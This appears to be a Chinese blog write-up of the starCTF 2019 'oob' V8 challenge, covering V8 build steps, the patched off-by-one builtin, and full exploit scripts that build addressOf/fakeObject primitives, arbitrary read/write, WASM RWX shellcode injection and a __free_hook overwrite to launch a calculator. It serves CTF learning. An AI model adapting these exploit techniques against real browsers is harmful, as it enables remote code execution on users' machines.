IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> starCTF2019-oob -> 正文阅读

[游戏开发]starCTF2019-oob

何时才能遇到你呀,仅仅是如果…

前置知识

V8环境安装

V8的编译安装其实并不复杂,最重要的是你要有一个好的代理, 只要网速跟上了, 问题就不大了…

  1. 设置Terminal代理和git代理,设置环境变量:
export http_proxy="http://192.168.56.1:7891"
export https_proxy=$http_proxy
git config --global http.proxy http://192.168.56.1:7891
bash
  1. 使用git下载depot_toolsninja, 设置环境变量:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
git clone https://github.com/ninja-build/ninja.git
echo 'export PATH=$PATH:"<depot_tools_path>"' >> ~/.bashrc
echo 'export PATH=$PATH:"<ninja_payh>"' >> ~/.bashrc
cd ninja && ./configure.py --bootstrap && cd ..
bash
  1. 拉取v8仓库(耐心等…):
fetch v8
cd v8
  1. 编译指定版本(如果要编译最新的版本则不需要这步):
git reset --hard [commit hash with vulnerability]
  1. 下载其他的依赖项:
gclient sync
  1. 打补丁(按需要, 没有补丁则不需要):
git apply path_to_diff
  1. 生成工程,编译到指定目录:
tools/dev/v8gen.py -b x64.debug debug
ninja -C out.gn/debug d8
  1. 设置v8的gdb的工具:
# vim .gdbinit
source path_to_v8/tools/gdbinit
source path_to_v8/tools/gdb-v8-support.py

同时为了gdb调试方便, 建议安装pwndbg

可能遇到问题

depot_tools/bootstrap_python3: 行 32: bootstrap-.chromium._bin/python3/bin/python3: 没有那个文件或目录

depot_tools/bootstrap_python3文件的BOOTSTRAP_PYTHON_BIN参数的python3换成本地的python3路径就可以
解决:

# emacs depot_tools/bootstrap_python3
-BOOTSTRAP_PYTHON_BIN="${BOOTSTRAP_PATH}/python3/bin/python3"
+BOOTSTRAP_PYTHON_BIN="/usr/bin/python3"

Command: python /home/a/v8-build/v8/build/config/linux/pkg-config.py -s /home/a/v8-build/v8/build/linux/debian_sid_amd64-sysroot -a x64 glib-2.0 gmodule-2.0 gobject-2.0 gthread-2.0 Returned 1.

这类问题是因为切换到某个老版本后,缺乏老版本需要的依赖项导致的,应该可以从报错信息中看出缺少的是哪些依赖,这里是因为缺少glib-2.0,按需要安装就可以:

sudo apt  install glib-2.0

V8基础知识

通过gdb来调试debug版本的v8, 可以清楚的看到各种数据结构;
源文件(test.js):

var a = [1.1,1.2,1.3];
%DebugPrint(a); // 查看对象地址
%SystemBreak(); // 触发调试中断

gdb调试:

gdb --args ./d8 --allow-natives-syntax ./test.js

JavaScript对象的内存结构, 可以通过job命令来查看:

pwndbg> r
Starting program: /home/sir/tools/v8/out.gn/debug/d8 --allow-natives-syntax ./test.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f416a59e700 (LWP 24319)]
DebugPrint: 0x22ba081094b9: [JSArray]
 - map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x22ba0828c0e9 <JSArray[0]>
 - elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x22ba0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x22ba080048f1: [String] in ReadOnlySpace: #length: 0x22ba0820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x22ba08109499 <FixedDoubleArray[3]> {
           0: 1.1
           1: 1.2
           2: 1.3
 }
0x22ba082c3ae1: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x22ba082c3ab9 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x22ba08202405 <Cell value= 1>
 - instance descriptors #1: 0x22ba0828c59d <DescriptorArray[1]>
 - transitions #1: 0x22ba0828c5e9 <TransitionArray[4]>Transition array #1:
     0x22ba0800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x22ba082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x22ba0828c0e9 <JSArray[0]>
 - constructor: 0x22ba0828be85 <JSFunction Array (sfi = 0x22ba0820fe71)>
 - dependent code: 0x22ba080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

这些是%DebugPrint(a)打印出来的内容, 我们也可以通过job命令来查看:

pwndbg> job 0x22ba081094b9
0x22ba081094b9: [JSArray]
 - map: 0x22ba082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x22ba0828c0e9 <JSArray[0]>
 - elements: 0x22ba08109499 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x22ba0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x22ba080048f1: [String] in ReadOnlySpace: #length: 0x22ba0820215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x22ba08109499 <FixedDoubleArray[3]> {
           0: 1.1
           1: 1.2
           2: 1.3
 }

这里展示了一个对象的属性:

  • map:定义了如何访问对象
  • prototype:对象的原型
  • elements:对象的地址
  • length:长度
  • properties:属性,存有map和length
    其中我们用的最多的也最重要的是mapelements
pwndbg> telescope 0x22ba08109499-1
00:0000│  0x22ba08109498 ?— 0x608002a95
01:0008│  0x22ba081094a0 ?— 0x3ff199999999999a
02:0010│  0x22ba081094a8 ?— 0x3ff3333333333333
03:0018│  0x22ba081094b0 ?— 0x3ff4cccccccccccd
04:0020│  0x22ba081094b8 ?— 0x800222d082c3ae1
05:0028│  0x22ba081094c0 ?— 0x608109499
06:0030│  0x22ba081094c8 ?— 0xbeadbeefbeadbeef
07:0038│  0x22ba081094d0 ?— 0xbeadbeefbeadbeef
pwndbg> p {double} 0x22ba081094a0
$1 = 1.1000000000000001
pwndbg> p {double} 0x22ba081094a8
$2 = 1.2
pwndbg> p {double} 0x22ba081094b0
$3 = 1.3
pwndbg> x/20wx 0x22ba08109498
0x22ba08109498:	0x08002a95	    0x00000006	0x9999999a	0x3ff19999
0x22ba081094a8:	0x33333333	    0x3ff33333	0xcccccccd	0x3ff4cccc
0x22ba081094b8:	0x082c3ae1(map) 0x0800222d	0x08109499	0x00000006
0x22ba081094c8:	0xbeadbeef	    0xbeadbeef	0xbeadbeef	0xbeadbeef
0x22ba081094d8:	0xbeadbeef		0xbeadbeef	0xbeadbeef	0xbeadbeef

v8中,如果一个值表示的是指针,那么会将该值的最低bit设置为1,所以真实的值需要-1(查看地址的时候需要注意, job命令不需要-1);同时map的地址刚好在elements之后, 同时这里还有一个指针压缩的概念(不一定每个版本的v8都有), 通常relase版本的基地址是存在r13寄存器的, debug版本是存在r14寄存器的:

pwndbg> p/x $r14
$4 = 0x22ba00000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x22ba00000000     0x22ba00003000 rw-p     3000 0      
    0x22ba00003000     0x22ba00004000 ---p     1000 0      
    0x22ba00004000     0x22ba00015000 r-xp    11000 0

starctf2019-oob

环境搭建

这里可以下载题目: https://github.com/sixstars/starctf2019/tree/master/pwn-OOB
还原题目环境:

cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598				#设置v8分支
gclient sync
git apply ../../oob.diff
tools/dev/v8gen.py -b x64.release oob
ninja -C out.gn/oob

diff分析

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

该diff文件实际就是增加了一个oob函数,函数将首先检查参数的数量是否大于2(第一个参数始终是this参数); 如果是,则返回undefined; 如果只有一个参数(this),它将数组转换成FixedDoubleArray,然后返回array[length](也就是以浮点数形式返回array[length]),如果有两个参数(this和value),它以float形式将value写入array[length]。 由于创建一个数组长度为length时我们可以访问的是第0到length-1个元素,但是该段代码却直接读取和写入第length个元素,这样就造成了off-by-one;
而这个off-by-one可以刚好使我们修改map指针;

sir@sir:oob$ ./d8 
V8 version 7.5.0 (candidate)
d8> var a = [1, 2, 3, 4];
undefined
d8> a
[1, 2, 3, 4]
d8> a.oob()
1.5994533561727e-310
d8> a.oob(6)   
undefined
d8> a.oob()
6
d8> 

利用思路

编写addressOf和fakeObject原语

addressOf: 计算一个对象的地址, 将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。
fakeObject:将一个内存地址伪造为一个对象, 将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。
如果我们定义一个FloatArray浮点数数组A,然后再定义一个对象数组B; 正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了…
所以这里我们先定义两个全局的Float数组和对象数组,利用oob函数漏洞泄露两个数组的Map类型:

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

addressOf:

// 泄露object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;					//将要泄露的对象放到对象数组上
    obj_array.oob(float_array_map);				//将对象数组的头替换为float数组的map
    let obj_addr = f2i(obj_array[0]) - 1n;		//地址要减1
    obj_array.oob(obj_array_map); 				// 还原array类型以便之后续继续使用
    return obj_addr;							//返回float
}

fakeObject:

// 将addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);	//将地址+1转变为对象
    float_array.oob(obj_array_map);				//将float数组的头替换为对象数组的map
    let faked_obj = float_array[0];				//将对象变量返回
    float_array.oob(float_array_map); 			// 还原array类型以便后续继续使用
    return faked_obj;							//返回对象
}

任意地址读写

当有了fakeObject之后我们基本就有了任意地址读写的能力了, 因为由于这块fakeObject是我们构造的,我们就可以控制其中的elements字段了, 而elements实际上是个指针,指向elements这个fakeObject对象的地址,当我们操作数组元素时,其实操作的是从elements对象地址+0x10的内存(对于float的数组),所以我们只要把elements位置处的值覆盖为任意地址,这样我们操作数组元素时,操作的就是这块写的任意地址的内存:

var fake_array = [											 	 // [+0x40]
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);					// +0x40
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;			// +0x10
var fake_object = fakeObject(fake_object_addr);					// [+0x10]

function read64(addr)											  
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);						//element
    let leak_data = f2i(fake_object[0]);							
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);						
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

WASM

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术;
WasmFiddle网站上面可以进行将C语言直接转换为wasm并生成JS配套调用代码;
我们的利用思路是:

  1. 首先加载一段wasm代码到内存中
  2. 然后通过addressOf找到存放wasm的内存地址
  3. 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
  4. 最后调用wasm的函数接口即可触发调用shellcode

寻找存放wasm代码的内存页地址

通过Function–>shared_info(Function+0x18)–>WasmExportedFunctionData(SharedFunctionInfo+0x8)–>instance(WasmExportedFunctionData+0x10)->rwx_addr(instance+0x88),就能读取到存储wasm代码的内存页起始地址了;

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f_addr = addressOf(f);
var f = wasmInstance.exports.main;
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

当然, 通过分析其他CVEEXP, 获取rwx_page_addr也可以换一种方式读取:

var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));

EXP

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f) {
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i) {
    bigUint64[0] = i;
    return float64[0];
}

function hex(i) {
    return i.toString(16).padStart(16, "0");
}

var obj = {
    "x": 1
};

var obj_array = [obj];
var float_array = [6.6];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj_to_leak) {
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    var obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map);
    return obj_addr;
}

function fakeObject(addr) {
    float_array[0] = i2f(addr + 1n);
    float_array.oob(obj_array_map);
    var fake_obj = float_array[0];
    float_array.oob(float_array_map);
    return fake_obj;
}

var fake_arry = [
    float_array_map,
    i2f(0n),
    i2f(0x61616161n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

//%DebugPrint(fake_arry);

var fake_arry_addr = addressOf(fake_arry);
console.log("fake_arry_addr: " + hex(fake_arry_addr));
var fake_addr = fake_arry_addr - 0x30n; //0x8*fake_arry.length
var fake_obj = fakeObject(fake_addr);

function read_addr(addr) {
    fake_arry[2] = i2f(addr - 0x10n + 1n);
    var leak_data = f2i(fake_obj[0]);
    console.log("[*]leak_addr: " + hex(addr) + " leak_data:" + hex(leak_data));
    return leak_data;
}

function write_data(addr, data) {
    fake_arry[2] = i2f(addr - 0x10n + 1n);
    fake_obj[0] = i2f(data);
    // console.log("[*]write_addr: " + hex(addr) + " write_data:" + hex(data));
}
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 1, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var exp = wasmInstance.exports.main;
var f_addr = addressOf(exp);
var shared_info_addr = read_addr(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read_addr(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read_addr(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read_addr(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [0x90909090, 0x90909090, 0x782fb848, 0x636c6163, 0x48500000, 0x73752fb8, 0x69622f72, 0x8948506e, 0xc03148e7, 0x89485750, 0xd23148e6, 0x3ac0c748, 0x50000030, 0x4944b848, 0x414c5053, 0x48503d59, 0x3148e289, 0x485250c0, 0xc748e289, 0x00003bc0, 0x050f00];

var data_buf = new ArrayBuffer(200);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write_data(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++) {
    data_view.setUint32(4 * i, shellcode[i], true);
    // data_view.setBigUint64(8*i, shellcode[i], true);

}
exp();

calc

还有一种常规pwn修改got表来执行system函数的EXP.参考fa1lr4in:

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
    return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
    return faked_obj;
}
var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}
function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
    write64(buf_backing_store_addr, addr);
    data_view.setFloat64(0, i2f(data), true);
   // %SystemBreak();
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var a = [1.1, 2.2, 3.3];
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));

var d8_base_addr = leak_d8_addr -0xfc8780n;	
var d8_got_libc_start_main_addr = d8_base_addr + 0x12a47b0n;

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x00000000001EEB28n;

console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

//write64(libc_free_hook_addr, libc_system_addr);
write64_dataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
    let get_shell_buffer = new ArrayBuffer(0x1000);
    let get_shell_dataview = new DataView(get_shell_buffer);
    //get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
    get_shell_dataview.setFloat64(0, i2f(0x69622fn), true); // /snap/bi
    get_shell_dataview.setFloat64(3, i2f(0x2d656d6f6e672f6en), true); // n/gnome-
    get_shell_dataview.setFloat64(11, i2f(0x74616c75636c6163n), true); // calculat
    get_shell_dataview.setFloat64(19, i2f(0x726fn), true); // or
}
get_shell();
  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
from origin ‘null‘ has been blocked by
UE4 蓝图调用C++函数(附带项目工程)
Unity学习笔记(一)结构体的简单理解与应用
【Memory As a Programming Concept in C a
上一篇文章      下一篇文章      查看所有文章
加:2021-09-12 13:27:58  更:2021-09-12 13:28:47 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/17 9:50:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码